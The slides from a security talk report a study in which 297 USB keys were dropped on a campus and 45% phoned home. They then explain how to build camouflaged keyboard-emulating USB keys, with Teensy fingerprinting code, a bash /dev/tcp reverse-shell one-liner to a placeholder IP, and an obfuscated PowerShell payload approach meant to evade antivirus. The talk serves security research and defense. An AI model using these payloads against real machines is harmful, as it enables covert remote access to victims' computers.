DOES DROPPING USB DRIVES REALLY WORK?

Elie Bursztein
Does dropping USB keys really work?
Agenda

What are the different type of attacks carried over USB
Brief overview of what the different type of attacks and their pros & cons

How effective are USB drop attacks?
We dropped 297 USB keys on UIUC campus to find out

Improving USB drop attack by using realistic HID spoofing keys
A journey into making HID spoofing keys suitable for drop attack
The different types of USB attacks
Types of attack carried via USB drive

- Social Engineering
- HID Spoofing
- Driver 0-day
Social engineering illustrated

Regular USB → Contains → Confidential.html
HID illustrated

HID USB → Emulate → Emulated keyboard → Keystroke injection → Victim’s computer

Attacker’s Server

Connect (reverse tcp shell)
# Attacks pros & cons

<table>
<thead>
<tr>
<th>Attack vector</th>
<th>Mostly used by</th>
<th>Complexity &amp; Cost</th>
<th>Reliability</th>
<th>Stealth</th>
<th>Cross OS</th>
</tr>
</thead>
</table>
| Social engineering | Academics
Our study!                      | ★                 | ★           | ★       | ★★★     |
| HID Spoofing      | White Hat
Corporate espionage           | ★★★               | ★★★★        | ★★★    | ★★★     |
| 0-day             | Government
High-end corp espionage         | ★★★★              | ★★★★        | ★★★★   | ★       |
How effective are USB drop attacks?
Game Plan
Drop 297 USB keys and see what happens
Experimental setup

297 social-eng USB keys dropped on the University of Illinois campus
Worked with IRB, University Counsel, and public safety — regular USB keys with plain html files

Built a USB key creation, dropping and monitoring system
Built a custom solution based on App-engine and Android for the experiment

Debriefing of the subject via optional survey
Offered users to keep the key and to optionally give us feedback
USB keys appearance
USB keys content

No label

Final exam

Confidential
Drop location type

- Parking lot
- Outside
- Common room
- Classroom
- Hallway
Drop action
Busted on Reddit

[Image of a Reddit post discussing USB flash drives with "Final Exam Answers" appearing on campus. The post mentions concerns about potential malware and recommendations for handling them.]
45% of the keys phoned home
Study in numbers

<table>
<thead>
<tr>
<th></th>
<th>Total</th>
<th>Fraction</th>
</tr>
</thead>
<tbody>
<tr>
<td>Key dropped</td>
<td>297</td>
<td></td>
</tr>
<tr>
<td>Key picked up</td>
<td>290</td>
<td>98%</td>
</tr>
<tr>
<td>Key who phoned home</td>
<td>135</td>
<td>45%</td>
</tr>
<tr>
<td>Key returned</td>
<td>54</td>
<td>19%</td>
</tr>
<tr>
<td>People answering survey</td>
<td>62</td>
<td>21%</td>
</tr>
</tbody>
</table>
Click rate over time for opened keys

Fraction of USB keys with a file opened

Fraction of USB keys with a file opened

0h 5h 10h 15h 20h 25h 30h 35h
Opening rate by USB key appearance

<table>
<thead>
<tr>
<th>Appearance</th>
<th>Fraction of USB keys with a file opened</th>
</tr>
</thead>
<tbody>
<tr>
<td>Physical keys</td>
<td>53%</td>
</tr>
<tr>
<td>Exams</td>
<td>50%</td>
</tr>
<tr>
<td>Confidential</td>
<td>50%</td>
</tr>
<tr>
<td>None</td>
<td>45%</td>
</tr>
<tr>
<td>Physical Keys &amp; Return Label</td>
<td>29%</td>
</tr>
</tbody>
</table>
Opening rate by drop location

- Parking lot: 53%
- Outside: 47%
- Common Room: 43%
- Class Room: 43%
- Hallway: 41%
Self-reported motivation

- Returning drive: 68%
- Curious: 18%
- Other: 14%
Type of documents opened

Some people have opened multiple file types which explains the percentages not adding up to 100%.
Making USB drop attack effective
Would you plug those?

Adrian Crenshaw's - Defcon 2010

Samy Kamkar - 2014

Challenges to make droppable HID spoofing devices

Cross-device via OS fingerprinting
Keyboards and other HID devices were never meant to be OS aware

Small binary-less persistent reverse-shell
Create small payload that spawns a reverse-shell without triggering AV

Camouflaging HID device as a credible USB drive
Making our custom USB key look legit
Hardware

Teensy 3.2:

- Off the shelf keyboard emulation
- C framework
- Arduino compatible
Payload crafting
Staging overview

GOTCHA: No direct feedback

No easy way to test for

1. Timing between commands
2. Successful execution

Use CAPS lock key toggling as feedback bit
Testing if drivers are loaded

**Idea**: try to blink light and test if we can lock toggle the CAPS lock key status

```c
void wait_for_drivers(void) {
  // until we are ready
  for(int i = 0; i < LOCK_ATTEMPTS && !is_locked(); i++) {
    digitalWrite(LED_PIN, HIGH);
    digitalWrite(LED_PIN, LOW);
    delay(LOCK_CHECK_WAIT_MS);
    toggle_lock();
  }

  // maybe it is seen as a new keyboard, evading
  if (!is_locked()) {
    osx_close_windows();
  }

  // resetting lock
  reset_lock();
  delay(100);
}
```
OS fingerprinting

```c
bool fingerprint_windows(void) {
    int status1 = 0; //LED status before toggle
    int status2 = 0; //LED status after toggle
    unsigned short sk = SCROLLLOCK;

    // Get status
    status1 = ((keyboard_leds & sk) == sk) ? 1 : 0;
    delay(Delay);

    // Asking windows to set SCROLLLOCK
    win_open_execute();
    type_command("powershell -Command \"(New-Object -ComObject WScript.Shell).SendKeys('{'SCROLLLOCK}'\");\n    delay(Delay);

    // Get status
    status2 = ((keyboard_leds & sk) == sk) ? 1 : 0;
    is_done();

    if (status1 != status2) {
        return true;
    } else {
        return false;
    }
}
```

**Idea:** Try to lock the Scroll Lock key in powershell and test if it worked
Spawning a reverse-shell

1. Open terminal
2. Spawn process
3. Connect to C&C

Reverse shell to pierce through firewall
Use scripting language and obfuscation to avoid AV
Payload must be small: 62.5 keystrokes per second max
Leverage metasploit as C&C
MacOS (OSX) & Linux payload

Ideas:

Use bash to create a reverse shell

Use `nohup` to spawn the reverse shell as a background process

```bash	nohup bash -c "while true; do bash -i >& /dev/tcp/1.2.3.4/443 0>&1 2>&1; sleep 1;done" 1>/dev/null &
```
Windows payload

**Inner-payload**: Reverse TCP connection in Powershell

**Outer-payload**: Base64 decode, Gunzip and execute in background process

Inner payload inspired by powerfun created by Ben Turner & Dave Hardy
Key camouflaging
Starting point: teensy
A long way to go
Using raw type A connector
Type A connector soldered to Teensy
A step in the right direction
Getting there takes practice :)

https://ly.tl/malusb
Preparing the silicon
Casting the silicon mold using a real key
Silicon mold
Resin and color
Casting a USB key
Trimming the excess of resin
A difficult start
Getting there!
Camouflage successful!
Material cost

<table>
<thead>
<tr>
<th>Material</th>
<th>Cost</th>
</tr>
</thead>
<tbody>
<tr>
<td>Teensy</td>
<td>$20</td>
</tr>
<tr>
<td>Mold + resin casting</td>
<td>$10</td>
</tr>
<tr>
<td>Equipment &amp; supply</td>
<td>$10</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td>~$40</td>
</tr>
</tbody>
</table>

Price per key assuming that at least 10 keys are made
The “lazy” approach - not as good as resin casting!
Defending against USB attacks

Awareness and security training
Teaching people to be mindful of what they plug into their computer

Block USB ports
Physically block the USB ports on sensitive computers

Restrict the type of USB authorized
Use Windows policy or USBkill code to restrict device -- ID are spoofable thus
Takeaways

USB drop attack works
With at least 45% success rate USB drop attack are very effective

Creating reliable malicious USB is not trivial
Realistic and cross-platform HID devices are doable but require dedication

No easy defense
AV won’t save you from this attack, device policy and awareness will
Co-conspirators

Cealtea: Camouflage expert

Nicolas “Pixel” Noble: Hardware specialist

Jean-Michel Picod: Teensy whisperer

Mike Bailey: Vell, Bailey's just zis guy, you know?

Zakir Durumeric: Network wizard

Matt Tischer: Master dropper
Build your own HID key - get a free one

“How-to” blog post: https://ly.tl/malusb

Code: https://github.com/LightWind/malusb

Want a free one? Two possibilities:

Follow & Retweet blog post with @elie mention

Like page & re-share on Facebook

Will pick winners and mail them a key on August 9th
Thinking of a Kickstarter to create an advanced HID USB with:

- Realistic look
- Hardware based fingerprint
- Remote exfiltration (GSM or Wifi)

Interested? Fill the form at the end of the post: [https://ly.tl/malusb]
Thanks!

https://ly.tl/malusb